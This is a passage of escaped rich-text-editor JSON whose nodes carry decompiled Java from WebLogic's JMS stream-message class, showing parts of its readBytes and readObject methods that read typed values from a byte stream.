this.bis.readInt();&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Qk20-1677058245882&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;EgwG-1677058245881&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                    if (this.available_bytes == 0) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;llR0-1677058245884&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;EIG2-1677058245883&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                        return 0;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;cCLG-1677058245886&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;JTDx-1677058245885&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                    }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;PsGw-1677058245888&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;ElJX-1677058245887&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;PmLk-1677058245890&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;SUP2-1677058245889&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                    this.readingByteArray = true;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;RHZ3-1677058245892&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;rY7z-1677058245891&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;rpYg-1677058245894&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;HoBF-1677058245893&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;VHcd-1677058245896&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;FSh0-1677058245895&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                if (this.available_bytes == 0) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;bQeC-1677058245899&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;GYLX-1677058245897&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                    this.readingByteArray = false;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;jwqn-1677058245901&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Yx5z-1677058245900&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                    return -1;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;av2Z-1677058245903&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;iuYA-1677058245902&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                } else {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;xsoi-1677058245905&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;QR5v-1677058245904&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                    int var9;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;R8PN-1677058245907&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Ii0p-1677058245906&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                    if (var1.length &gt; this.available_bytes) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;NTiI-1677058245909&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;P7xv-1677058245908&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                        var9 = this.bis.read(var1, 0, this.available_bytes);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;mVbY-1677058245911&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Hdko-1677058245910&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                        this.readingByteArray = false;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;m7rU-1677058245913&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Hpaq-1677058245912&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                    } else {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;wX4z-1677058245915&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;bpEc-1677058245914&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                        var9 = this.bis.read(var1, 0, var1.length);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;64oa-1677058245917&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;24L1-1677058245916&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                        this.available_bytes -= var1.length;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;J1Z4-1677058245919&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;CdCJ-1677058245918&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                    }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;tQSg-1677058245921&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;3871-1677058245920&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Oci5-1677058245928&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;4OwZ-1677058245927&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                    return var9;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;RHhw-1677058245930&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;0peJ-1677058245929&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;CiT7-1677058245932&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;1mBJ-1677058245931&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            } catch (EOFException var5) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;5Cxs-1677058245934&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;4DDM-1677058245933&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                throw new weblogic.jms.common.MessageEOFException(this.readPastEnd(), var5);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;OhS8-1677058245936&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;ZrLN-1677058245935&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            } catch (IOException var6) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;WgOH-1677058245938&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;cHRq-1677058245937&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                throw new weblogic.jms.common.JMSException(this.streamReadError(), var6);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;2JVP-1677058245940&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;7oLo-1677058245939&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            } catch (ArrayIndexOutOfBoundsException var7) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;MbM2-1677058245942&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;nZK5-1677058245941&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                throw new weblogic.jms.common.JMSException(JMSClientExceptionLogger.logStreamReadErrorIndexLoggable().getMessage(), var7);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;L7C4-1677058245944&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;urr0-1677058245943&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            } catch (ArrayStoreException var8) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;A6s6-1677058245946&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Kh2Z-1677058245945&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                throw new weblogic.jms.common.JMSException(JMSClientExceptionLogger.logStreamReadErrorStoreLoggable().getMessage(), var8);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;cxzt-1677058245948&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;yVIl-1677058245947&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;tGlD-1677058245950&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;kPPq-1677058245949&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;4dHm-1677058245953&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;4PHo-1677058245952&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;OO04-1677058245955&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;6cmu-1677058245954&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;rJFb-1677058245957&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;8NZY-1677058245956&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    public Object readObject() throws JMSException {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;qI3V-1677058245959&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;y6tW-1677058245958&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        byte var1 = this.readType();&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;LktW-1677058245961&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;hvIL-1677058245960&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;WtiQ-1677058245963&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;NNRz-1677058245962&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        try {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;yLJE-1677058245965&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;SCsn-1677058245964&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            switch(var1) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;pgZs-1677058245967&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;vzjA-1677058245966&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                case 1:&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;d7D6-1677058245969&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;hW0C-1677058245968&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                    return new Boolean(this.bis.readBoolean());&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;4ZOy-1677058245971&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Epff-1677058245970&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                case 2:&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;1Iwj-1677058245973&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;mRsm-1677058245972&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                    return new Byte(this.bis.readByte());&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;KzLS-1677058245975&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;LRVC-1677058245974&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                case 3:&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;qGXA-1677058245977&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;hQay-1677058245976&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                    return new Character(this.bis.readChar());&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;A1RO-1677058245979&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;9cCd-1677058245978&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                case 4:&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;WoIy-1677058245981&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;5HgN-1677058245980&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                    return new Double(this.bis.readDouble());&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;XkrL-1677058245983&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;vqlx-1677058245982&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                case 5:&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;GW9t-1677058245985&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;4QQd-1677058245984&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                    return new Float(this.bis.readFloat());&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;SnHt-1677058245987&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;TvvH-1677058245986&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                case 6:&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;mv1d-1677058245990&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;79cv-1677058245989&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                    return new Integer(this.bis.readInt());&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;gZZ1-1677058245992&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;vsxF-1677058245991&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                case 7:&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;eHHH-1677058245994&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;s22F-1677058245993&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                    return new Long(this.bis.readLong());&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;1gPb-1677058245996&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;t3Yh-1677058245995&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                case 8:&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;qQQV-1677058245998&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;u1pp-1677058245997&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                    return new Short(this.bis.readShort());&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;WS1F-1677058246000&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;jaVg-1677058245999&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                case 9:&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;miHU-1677058246002&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;ES0z-1677058246001&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                    return this.readStringInternal(var1);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;u3ur-1677058246004&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;p9ox-1677058246003&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                case 10:&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;GPVB-1677058246006&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;GwQb-1677058246005&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                    return this.readStringInternal(var1);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;xEqq-1677058246008&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;0c5e-1677058246007&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                case 11:&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;eHrz-1677058246010&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Qavi-1677058246009&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                    if (this.readingByteArray) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;3est-1677058246012&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;scOu-1677058246011&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                        throw new MessageFormatException(\&#34;Can not read next data. Previous attempt to read bytes from the stream message is not complete. As per the JMS standard, if the readBytes method does not return the value -1, a subsequent readBytes call must be made in order to ensure that there are no more bytes left to be read in. For more information, see the JMS API doc for the method readBytes in interface StreamMessage\&#34;);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;wNMH-1677058246014&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;RCKu-1677058246013&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                    } else {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;jqCW-1677058246016&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;lWVa-1677058246015&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                        int var2 = this.bis.readInt();&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;9Iyz-1677058246018&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;annr-1677058246017&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                        byte[] var3 = new byte[var2];&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;X9I3-1677058246020&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;5Sg0-1677058246019&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                        int var4 = this.bis.read(var3, 0, var2);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;IzKL-1677058246022&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;kqlI-1677058246021&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                        if (var4 != var2) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;joxl-1677058246024&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;qycv-1677058246023&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                            throw new EOFException(\&#34;\&#34;);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Sfri-1677058246026&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;VjB5-1677058246025&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                        